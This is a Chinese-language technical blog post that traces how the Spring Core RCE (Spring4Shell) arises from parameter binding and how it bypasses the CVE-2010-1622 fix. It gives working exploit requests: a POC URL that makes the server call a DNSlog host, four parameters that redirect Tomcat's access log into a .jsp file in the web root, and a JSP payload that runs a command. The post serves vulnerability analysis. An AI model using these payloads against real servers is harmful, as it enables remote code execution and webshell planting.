Spring Core-RCE深入分析及步步调试出payload

2022-04-19 09:32:43 浏览数 (1)

既然Spring最新0day漏洞是绕过CVE-2010-1622的修复方式后产生的,那就从这个古老漏洞的本质:参数绑定入手,搭建环境进行调试。

1 Spring参数绑定

首先了解下什么是Spring中的参数绑定,简单来说,springmvc中通过方法形参来接收页面请求的key/value数据,经过参数绑定,将key/value数据绑定到controller方法的形参上。

1.1 基本类型绑定

首先举个例子,如果我们要实现这样一个基本的注册功能:

需要先写一个User的POJO类/Bean类,包含基本的get/set方法:

然后Controller类接负责收前台传输的三个String类型参数,这里如果不使用@RequestParam,要求request传入参数名称和controller方法的形参名称一致,方可绑定成功。如果使用@RequestParam,则不需要。

中间封装一层Service,调用User类set方法实现赋值,完成参数绑定,如形参email对应User类email属性,并把数据传入数据库。

最终在View层完成视图渲染,这样就完成了一个典型的SpringMVC开发。

1.2 对象绑定

形参除了上述使用基本类型外,还可以直接使用POJO类。

直接新增一个controller方法,形参为User实体,然后获取其值并打印:

下面我们访问 http://127.0.0.1:8080/test?name=123,发现成功取到了值123,但代码里我们明明没有调用user.setName方法。

这是因为spring mvc提供的字段映射功能会自动发现对象中的public方法和字段,如果提交的参数中出现了user类的一个public字段或方法,就自动绑定,并且允许用户提交请求给他赋值。

2 参数绑定流程

参数绑定的整个流程如下图所示:

要搞清楚漏洞原理我们需要搞清两个问题:

1)Spring是怎么找到Controller的方法并执行的?

2)获取到方法后如何获取到参数并进行参数绑定的?

我们在spring的总入口DispatcherServlet.java的doDispatch方法处加上断点,一步步跟踪:

2.1 如何执行controller的方法?

1)用户请求经过tomcat处理后,调用Spring总入口DispatcherServlet.java的doDispath方法来路由处理http请求:

2)首先通过getHandler根据传入的request从容器中找到相应的handler,关键代码:

ha.handle(processedRequest, response, mappedHandler.getHandler());

3)通过HandlerAdapter的handle方法,进行统一调用,然后返回ModelAndView对象:

invokeHandlerMethod——>invokeAndHandle——>invokeForRequest——>doInvoke

最终spring调用的是java.lang.reflect.Method类的invoke方法,两个关键参数:

  • target是UserController中的execute方法
  • args是刚刚解析出来的user对象

这样就清楚了Spring是如何执行controller中的方法的。

2.2 如何进行参数绑定?

1)在invokeForRequest中,执行doInvoke方法之前先执行了getMethodArgumentValues操作,即参数相关操作:

resolveArgument——>bindRequestParameters——bind——>doBind

2)doBind方法具体实现数据绑定:

applyPropertyValues——>setPropertyValues——>setPropertyValue

setPropertyValue调用递归函数getPropertyAccessorForPropertyPath获取参数值,循环查看参数中是否包含“.”,若存在则按“.”分割赋值给nestedProperty,pos为nestedProperty值的长度:

如,如果我们发出请求http://127.0.0.1:8080/test?name.jayway,则第一次取到的nestedProperty即为name,pos为4:

如果取到nestedProperty,则将其带到下面的数据流处理:

getNestedPropertyAccessor——>getPropertyValue——>getLocalPropertyHandler

重点来了,这里会调用:

BeanWrapperImpl#getCachedIntrospectionResults().getPropertyDescriptor(propertyName)

去这个缓存cache里去找我们输入的参数propertyName(即nestedProperty属性)是否在User的属性列表里,查看一下这个property列表,除了自动获取的User类的public方法和属性外,竟然还自带了一个class属性:

这意味着,通过这个接口我们不仅可以操作User类,也可以操作任意class,换句话说,下面如果获取到classLoader那我们就可以执行任意对象,继续访问:http://127.0.0.1:8080/test?class.classLoader.xxxxx

成功通过第一层判断,再次走到getPropertyAccessorForPropertyPath,第二次取值为classLoader,这次缓存列表里共有46个值,并不包含classLoader:

但存在module,JDK9及以上版本可以通过class.module.classLoader获取classLoader,继续调试,发现classLoader可获取:

继续:class.module.classLoader.xxx

继续:class.module.classLoader.sources.xxx

继续:class.module.classLoader.sources.context,成功获取到tomcat的context对象,下面漏洞利用的姿势就很多了。

获取到context具体对象后最后会走到getValue:

getValue中通过反射调用对象,完成整个数据绑定流程。这样漏洞原理也就清楚了,剩下的就是构造合适的利用链。

3 漏洞利用

3.1 POC调试

以configFile为例,展开可见其最终调用的方法为org.apache.catalina.core.StandardContext#getConfigFile

具体方法为:

因此我们请求下面的链接即可触发一次URL请求:

http://127.0.0.1:8080/rce?class.module.classLoader.resources.context.configFile=http://spring-jayway.b0ul4q.dnslog.cn/test&class.module.classLoader.resources.context.configFile.content.aaa=xxx

这个请求相当于执行了:

user.getclass().getclassLoader().getResources().getContext().getconFile()

完整调用链:

3.2 EXP调试

任意访问内部属性的漏洞场景,和CVE-2014-0094非常相似,可以直接借鉴其通过日志写shell思路:

https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/

而经过上面调试,发现class.module.classLoader.sources.context可调用parent,即StandardContext的父类ContainerBase:

访问ContainerBase的Pipeline属性:

Pipeline的getFirst方法可获取Valve接口,有多种实现,包括AccessLogValve,这个类包含access日志的相关属性:

通过修改日志文件的这四个配置,包括目录、后缀,我们就可以完成在日志文件中插入恶意jsp代码达到RCE:

对应四个请求如下,依次访问即可成功修改日志属性:日志名改为jayway.jsp,目录改为tomcat根目录:

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=C:/tomcat/webapp/ROOT/

class.module.classLoader.resources.context.parent.pipeline.first.prefix=jayway

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

访问http://127.0.0.1:8080/aaaa.jsp?a=<% Runtime.getRuntime().exec("calc");%>将恶意代码写入日志文件,访问日志文件jayway.jsp即可触发命令执行:

Tomcat场景下漏洞利用方式不唯一,具体要看通过classLoader调用的类,危害不限于文件操作、DOS、网络请求(SSRF)、dos等。

4 漏洞总结

4.1 漏洞发现思路

这个漏洞和CVE-2010-1622在本质上是一致的,都是由于对象参数的自动绑定引起,关键在于绑定过程中对象自带了class属性,导致用户可以访问任意class。

同时JDK9以上存在class.module.classLoader,可绕过CVE-2010-1622的黑名单从而获取到classLoader,通过这个classLoader可访问到tomcat的context对象,最终任意修改tomcat内部属性,达成写webshell、dos等危害。

4.2 RCE前提

  • JDK版本>=9 (这个版本才能取到classLoader)
  • 使用对象绑定方式 (基本类型绑定场景不影响)
  • 使用Tomcat容器 (如果使用的是springboot,只能取到springboot的classLoader)

5 Refer:

https://www.inbreak.net/archives/377

https://blog.csdn.net/dingodingy/article/details/84705444

https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/

0 人点赞